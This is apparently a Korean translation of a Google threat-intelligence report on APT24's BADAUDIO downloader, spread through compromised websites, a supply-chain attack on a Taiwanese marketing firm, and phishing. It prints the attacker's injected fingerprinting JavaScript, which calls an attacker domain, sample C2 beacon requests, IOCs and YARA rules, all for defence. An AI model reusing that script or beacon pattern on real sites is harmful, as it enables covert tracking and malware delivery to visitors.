콘텐츠로 이동하기
위협 인텔리전스

APT24의 진화, 워터링 홀을 넘어 다각적 공격으로

2025년 11월 20일
Google Threat Intelligence Group

Google Threat Intelligence

Visibility and context on the threats that matter most.

Contact Us & Get a Demo

해당 블로그의 원문은 2025년 11월 21일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Harsh Parashar, Tierra Duncan, Dan Perez


구글 위협 인텔리전스 그룹(GTIG)은 중국(PRC)과 연계된 위협 행위자인 APT24가 수행하는, 오랜 기간 지속되며 적응해 온 사이버 스파이 활동 캠페인을 추적하고 있습니다. APT24는 3년에 걸쳐, 피해자 네트워크에 대한 지속적인 접근 권한을 확보하는 데 사용되는 고도로 난독화된 초기 단계 다운로더인 BADAUDIO를 배포해 왔습니다.

초기 활동에서는 합법적인 웹사이트를 감염시키는 광범위한 전략적 웹 침해(SWC)에 의존했지만, 최근 APT24는 대만 내 조직을 겨냥하는 더 정교한 공격 벡터를 사용하는 것으로 전략을 전환했습니다. 여기에는 공급망 공격을 실행하기 위한 지역 디지털 마케팅 회사의 반복적인 침해와 표적 피싱 캠페인 사용이 포함됩니다.

본 보고서는 BADAUDIO 악성코드에 대한 기술적 분석을 제공하고, 2022년부터 현재까지 APT24의 공격 전달 메커니즘이 어떻게 진화해왔는지 상세히 설명하며, 방어 담당자들이 이 지속적인 위협을 탐지하고 완화하는 데 도움을 줄 수 있는 실질적인 인텔리전스를 제공합니다.

심각한 위협 행위자에 대응하기 위한 노력의 일환으로, GTIG는 구글 제품과 사용자의 안전 및 보안을 개선하기 위해 연구 결과를 활용합니다. 발견 즉시, 식별된 모든 웹사이트, 도메인, 파일은 주요 브라우저 전반의 웹 사용자를 보호하기 위해 세이프 브라우징(Safe Browsing) 차단 목록에 추가됩니다. 또한, 우리는 피해가 확인된 사이트에 기술적 세부 정보를 포함하여 통보했으며, 이를 통해 피해 조직이 자사 사이트를 보호하고 향후 감염을 방지할 수 있도록 지원했습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig1.max-1600x1600.png

그림 1: BADAUDIO 공격 켐페인 개요

페이로드 분석: BADAUDIO와 코발트 스트라이크 비컨 통합

BADAUDIO 악성코드는 C++로 작성된 자체 제작 초기 단계 다운로더로, 하드코딩된 C2(명령 제어) 서버로부터 AES로 암호화된 페이로드를 다운로드하여 복호화한 후 실행합니다.

이 악성코드는 기본적인 시스템 정보를 수집하여 하드코딩된 AES 키로 암호화한 뒤, 페이로드를 가져오기 위한 GET 요청과 함께 쿠키 값으로 전송합니다. 한 사례에서 코발트 스트라이크 비컨(Cobalt Strike Beacon)으로 확인된 이 페이로드는, 동일한 키로 복호화된 후 메모리에서 실행됩니다.

GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
Host: wispy[.]geneva[.]workers[.]dev
Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

--------------------------

GET
cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

그림 2: BADAUDIO 코드 샘플

이 악성코드는 프로그램 본래의 구조적인 논리를 체계적으로 해체하는 정교한 난독화 기술인 제어 흐름 평탄화(control flow flattening)가 적용되어 있습니다. 이 기법은 선형적인 코드를 중앙 '디스패처(dispatcher)'와 상태 변수에 의해 제어되는 일련의 분리된 블록들로 대체합니다. 이로 인해 분석가는 각 실행 경로를 수동으로 추적할 수밖에 없게 되며, 이는 자동 및 수동 리버스 엔지니어링 작업을 모두 크게 방해하는 요소로 작용합니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig3.max-2100x2100.png

그림 3: 제어 흐름 평탄화 기법으로 고도로 난독화된 BADAUDIO 악성코드 (이미지 확대)

BADAUDIO는 일반적으로 합법적인 애플리케이션을 통해 실행되기 위해 DLL 검색 순서 하이재킹(MITRE ATT&CK T1574.001) 기법을 활용하는 악성 동적 연결 라이브러리(DLL) 형태로 나타납니다. 최근 관찰된 변종들은 VBS, BAT, LNK 파일과 함께 BADAUDIO DLL을 포함하는 암호화된 아카이브(압축 파일) 형태의, 더욱 정교해진 실행 체인을 보여줍니다.

이러한 보조 파일들은 BADAUDIO DLL과 합법적인 실행 파일을 사용자 디렉터리에 자동으로 배치하고, 합법적인 실행 파일을 시작 프로그램 항목에 등록하여 지속성을 확보하며, DLL 사이드로딩을 유발합니다. 이러한 다층적인 실행 및 지속성 확보 방식은 직접적인 침해 지표(Indicators of Compromise)를 최소화합니다.

실행 시, BADAUDIO는 호스트 이름, 사용자 이름, 시스템 아키텍처와 같은 기본적인 호스트 정보를 수집합니다. 수집된 데이터는 해시 처리된 후 C2 요청 헤더의 쿠키 매개변수 안에 포함됩니다. 이 기술은 감염된 시스템을 식별하고 비컨(신호)을 보내는 미묘하지만 효과적인 방법을 제공하여, 네트워크 기반 탐지를 더욱 복잡하게 만듭니다.

이러한 사례 중 하나에서, 하드코딩된 AES 키를 사용하여 복호화된 후속 페이로드는 코발트 스트라이크 비컨(Cobalt Strike Beacon)으로 확인되었습니다. 그러나 모든 경우에 코발트 스트라이크가 존재하는지는 확인되지 않았습니다. 이 비컨 페이로드에는 이전에 별도의 APT24 캠페인에서 관찰되었던 비교적 고유한 워터마크가 포함되어 있었으며, 이는 '침해 지표(IOC)' 섹션에 공유되어 있습니다. 코발트 스트라이크 워터마크는 특정 "CobaltStrike.auth" 파일로부터 생성되고 연결되는 고유한 값입니다. 이 값은 모든 BEACON 스테이저(stager)의 마지막 4바이트와 전체 백도어 BEACON 샘플의 내장된 설정(configuration)에 포함됩니다.

캠페인 개요: BADAUDIO 전달 방식의 진화

지난 3년간 APT24는 BADAUDIO를 배포하기 위해 전략적 웹 침해(SWC), 대만의 한 지역 디지털 마케팅 회사를 통한 반복적인 공급망 침해, 스피어 피싱 등 다양한 기술을 활용했습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig4.max-1700x1700.jpg

그림 4: BADAUDIO 공격 켐페인 개요

공개적인 전략적 웹 침해(SWC) 캠페인

2022년 11월부터 우리는 지역 산업 관련 기업부터 레크리에이션 상품에 이르기까지 광범위한 주제를 다루는 20개 이상의 웹사이트가 감염된 것을 관찰했습니다. 이는 공격자가 초기 접근 단계에서는 기회주의적인 방식을 사용했으며, 실제 공격은 핑거프린팅(fingerprinting)을 통해 식별한 특정 방문자에게만 선별적으로 수행했음을 시사합니다.

정상적인 웹사이트들은 악성 자바스크립트 페이로드를 주입하는 방식으로 (공격에 사용되도록) 무기화되었습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig5.max-1600x1600.png

그림 5: BADAUDIO 악성코드 배포를 위한 전략적 웹 침해(SWC) 공격 흐름

이 스크립트는 초기 단계의 공격 대상 선정(targeting) 기능을 보였으며, macOS, iOS, 안드로이드 및 다양한 마이크로소프트 인터넷 익스플로러/엣지 브라우저 변종을 구체적으로 제외하고 윈도우 시스템에만 집중했습니다. 이러한 선별성은 공격자가 특정하고 가치가 높을 것으로 추정되는 피해자 프로필에 맞춰 공격 범위를 즉시 좁혔음을 시사합니다.

주입된 자바스크립트는 FingerprintJS 라이브러리를 사용하여 고유한 브라우저 핑거프린트(fingerprint)를 생성하는 중요한 정찰 기능을 수행했습니다. 이 핑거프린트는 공격자가 제어하는 도메인으로 HTTP 요청을 통해 전송되어, 암묵적인 검증 메커니즘으로 사용되었습니다. 검증이 성공적으로 완료되면, 피해자에게는 BADAUDIO 악성코드를 다운로드하고 실행하도록 유도하기 위해 조작된 팝업 대화상자가 나타났습니다.

$(window).ready(function() {
    var userAgent = navigator.userAgent;
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    var isMac = userAgent.indexOf('Macintosh') > -1;
    var isiPhone = userAgent.indexOf('iPhone') > -1;
    var isFireFox = userAgent.indexOf('Firefox') > -1;
    if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
        var tag_script = document.createElement("script");
        tag_script.type = "text/javascript";
        tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
        tag_script.onload = "initFingerprintJS()";
        document.body.appendChild(tag_script);
        if (typeof(callback) !== "undefined") {
            tag_script.onload = function() {
                callback();
            }
        }
        function callback() {
            var option = {
                excludes: {
                    screenResolution: true,
                    availableScreenResolution: true,
                    enumerateDevices: true
                }
            }
            new Fingerprint2.get(option, function(components) {
                var values = components.map(function(component) {
                    return component.value
                })
                var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                console.log(murmur)
                var script_tag = document.createElement("script");
                script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                document.body.appendChild(script_tag);
            });
        }
    }
});

그림 6: 전략적 웹 침해(SWC) 캠페인에 사용된 초기 악성 핑거프린팅 자바스크립트(JS)

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig7.max-1600x1600.png

그림 7: 크롬(Chrome)으로 위장하여 BADAUDIO 악성코드 다운로드를 유도하는 가짜 업데이트 팝업 예시

공격자들은 지속적으로 인프라를 변경하며, 새로 등록한 도메인과 이전에 침해했던 도메인을 혼합하여 사용합니다. 우리는 이 전술이 마지막으로 관찰된 시점을 2025년 9월 초로 파악하고 있습니다.

공격 확대: 대규모 전략적 웹 침해를 위한 공급망 침해

2024년 7월, APT24는 대만의 한 지역 디지털 마케팅 회사를 침해했습니다. 이는 1,000개 이상의 도메인에 영향을 미친 공급망 공격이었습니다. 특히, 이 회사는 지난 1년간 여러 차례 재침해를 당했으며, 이는 APT24가 이 작전에 얼마나 끈질기게 집착하는지를 보여줍니다.

우리는 이러한 위협을 차단하기 위해 다각적인 해결 노력을 시작했습니다. GTIG는 수정된 악성 자바스크립트를 식별하고 차단하기 위한 맞춤형 로직을 개발하는 것 외에도, 개별적으로 침해된 웹사이트와 마케팅 회사에 피해 사실을 통보했습니다. 이 통보에는 위협과 원본 스크립트에 가해진 수정 사항에 대한 구체적인 세부 정보가 포함되어, 피해 조직이 사이트를 보호하고 향후 감염을 방지할 수 있도록 지원했습니다.

공급망 침해의 첫 번째 반복에서, APT24는 합법적인 콘텐츠 전송 네트워크(CDN)를 사칭하기 위해 타이포스쿼팅(typosquatting) 도메인을 활용하여, 해당 회사가 제공하는 널리 사용되는 자바스크립트 라이브러리(MITRE ATT&CK T1195.001)에 악성 스크립트를 주입했습니다. 난독화가 해제된 자바스크립트는 다음과 같은 다단계 감염 체인을 보여줍니다.

  • 동적 의존성 로딩: 스크립트는 합법적인 jQuery 및 FingerprintJS2 라이브러리가 아직 없는 경우, 공개 CDN에서 동적으로 로드(MITRE ATT&CK T1059.007)하여 다양한 웹 환경에서 일관된 실행을 보장합니다.

  • 다층적 JS 은닉: 2025년 7월에 발견된 재침해 과정에서, 공격자는 악성 코드를 숨기기 위한 추가적인 조치를 취했습니다. 고도로 난독화된 스크립트(MITRE ATT&CK T1059)는 벤더가 제공하는 악의적으로 수정된 JSON 파일 내에 의도적으로 배치되었고, 이 파일은 다른 침해된 자바스크립트 파일에 의해 로드되고 실행되었습니다. 이 전술은 일반적으로 코드 실행과 관련이 없는 파일 유형 및 구조에 최종 페이로드를 효과적으로 숨겼습니다.

  • 고급 핑거프린팅: FingerprintJS2는 x64hash128 브라우저 및 환경 핑거프린트(MITRE ATT&CK T1082)를 생성하는 데 사용됩니다. x64hash128은 MurmurHash3 알고리즘에 의해 생성된 128비트 해시 값으로, 화면 해상도, 설치된 글꼴, GPU 세부 정보 등 수집된 대량의 브라우저 특성 문자열을 처리하여 사용자 장치에 대한 고유하고 일관된 식별자를 생성합니다.

  • 은밀한 데이터 유출 및 스테이징: 호스트, URL, 사용자 에이전트, 핑거프린트, 리퍼러, 시간 및 고유 식별자를 포함한 Base64로 인코딩된 정찰 데이터를 전송하는 POST 요청이 공격자의 엔드포인트로 전송됩니다(MITRE ATT&CK T1041).

  • 적응형 페이로드 전달: 성공적인 C2 응답은 응답의 데이터 필드에 제공된 URL에서 후속 스크립트의 동적 로딩을 유발합니다. 이 은폐된 리디렉션은 공격자의 C2 로직 및 핑거프린트 평가에 따라 BADAUDIO 랜딩 페이지로 연결됩니다(MITRE ATT&CK T1105).

  • 맞춤형 표적화: 2025년 6월의 침해는 처음에는 침해된 제3자 스크립트를 사용하는 웹사이트와 관련된 고유한 웹 ID(특정 도메인 이름)를 기반으로 조건부 스크립트 로딩을 사용했습니다. 이는 전략적 웹 침해(MITRE ATT&CK T1189)를 단일 도메인으로 제한하는 맞춤형 표적화를 시사합니다. 그러나 8월의 열흘 동안 이 조건이 일시적으로 해제되어, 원래의 제한이 다시 적용되기 전까지 해당 스크립트를 사용하는 1,000개의 모든 도메인이 침해되도록 허용되었습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig8.max-1600x1600.png

그림 8: BADAUDIO 악성코드 배포를 위한 JS 공급망 침해 공격

표적 피싱 캠페인

APT24는 광범위한 웹 기반 공격을 보완하기 위해, 고도로 표적화된 사회 공학적 캠페인을 동시에 수행했습니다. 예를 들어, 동물 구조 단체에서 보낸 것처럼 위장한 이메일과 같은 미끼를 사용하여 사용자의 상호작용을 유도하고, 공격자가 제어하는 도메인에서 직접 악성코드를 다운로드하도록 유도했습니다.

별도의 캠페인에서는 구글 드라이브(Google Drive) 및 원드라이브(OneDrive)를 포함한 합법적인 클라우드 스토리지 플랫폼을 악용하여 BADAUDIO가 포함된 암호화된 아카이브(압축 파일)를 유포했습니다. 구글은 이러한 메시지를 스팸으로 분류하여 사용자를 보호했으며, 이를 통해 평판이 좋은 서비스를 캠페인에 활용하려는 위협 행위자의 노력을 차단했습니다.

APT24는 픽셀 추적 링크를 포함하여 이메일 수신 여부를 확인하고, 잠재적으로 후속 공격을 위해 대상의 관심도를 검증했습니다. 널리 신뢰받는 클라우드 서비스를 활용하고 명시적인 추적을 병행하는 이러한 이중 접근 방식은 효과적이고 개인화된 캠페인을 수행하는 능력을 향상시킵니다.

전망

거의 3년에 걸친 이 캠페인은 APT24의 작전 수행 능력이 지속적으로 진화하고 있음을 보여주는 명확한 예시이며, 중국 연계 위협 행위자들의 정교함을 강조합니다. 공급망 침해, 다층적 사회 공학, 합법적인 클라우드 서비스 악용과 같은 고급 기술의 사용은 이 행위자가 끈질기고 적응력 있는 스파이 활동을 수행할 역량을 갖추고 있음을 보여줍니다.

이러한 활동은 GTIG가 관찰해 온, 중국 연계 위협 행위자들이 탐지를 피하기 위해 점점 더 은밀한 전술을 사용하는 광범위한 추세와 일치합니다. GTIG는 사용자와 고객을 보호하기 위해 APT24와 같은 행위자로부터의 지속적인 위협을 적극적으로 모니터링하고 있습니다. 이러한 노력의 일환으로, 구글은 지속적으로 보호 기능을 업데이트하고 있으며 이 캠페인에 대해 특정한 조치를 취했습니다.

우리는 인식을 높이고 이러한 활동을 방해하기 위해 우리의 연구 결과를 보안 커뮤니티와 공유하는 데 전념하고 있습니다. 전술 및 기술에 대한 이해가 향상되면 위협 추적(헌팅) 능력이 강화되고 업계 전반에 걸쳐 더 강력한 사용자 보호로 이어지기를 바랍니다.

감사의 말

이 분석은 FLARE 팀의 도움이 없었다면 불가능했을 것입니다. BADAUDIO의 분석 및 탐지에 기여해주신 Ray Leong, Jay Gibble, Jon Daniels 님께 특별히 감사의 말씀을 전합니다.

침해 지표 (Indicators of Compromise)

관련 IOC 모음은 등록된 사용자를 위해 구글 위협 인텔리전스(GTI) 컬렉션에서 제공됩니다.

전략적 웹 침해 자바스크립트(JS)

88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

전략적 웹 침해 — 수정된 공급업체 자바스크립트(JS)

07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

BADAUDIO 바이너리

9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

전략적 웹 침해 — 2 단계

www[.]availableextens[.]com
www[.]twisinbeth[.]com
www[.]decathlonm[.]com
www[.]gerikinage[.]com
www[.]p9-car[.]com
www[.]growhth[.]com
www[.]brighyt[.]com
taiwantradoshows[.]com
jsdelivrs[.]com

BADAUDIO C2

clients[.]brendns.workers[.]dev
www[.]cundis[.]com
wispy[.]geneva[.]workers[.]dev
www[.]twisinbeth[.]com
tradostw[.]com
jarzoda[.]net
trcloudflare[.]com
roller[.]johallow.workers[.]dev

코발트 스트라이크 비컨 워터마크

Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

YARA 룰

rule G_Downloader_BADAUDIO_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
	condition:
		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
}
rule G_Downloader_BADAUDIO_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
	condition:
		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
}
rule G_APT_DOWNLOADER_BADAUDIO_3 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $s1 = "SystemFunction036"
        $s2 = "6666666666666666\\\\\\\\\\\\\\\\\\"
        $dc1 = { C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07 }
        $dc2 = { C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31 }
        $dc3 = { C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31 }
        $dc4 = { C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31 }
        $f1 = { ( 0F 1F 84 00 00 00 00 00 | 66 2E 0F 1F 84 00 00 00 00 00 | 0F 1F 44 00 00 | 0F 1F 40 00 | 0F 1F 00 | 66 90 ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? | 0F 8? ) }
        $f2 = /\x0F\x4C\xC1\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})/
    condition:
        all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize < 10MB
}
rule G_APT_DOWNLOADER_BADAUDIO_4 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
        $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
        )
}
게시 위치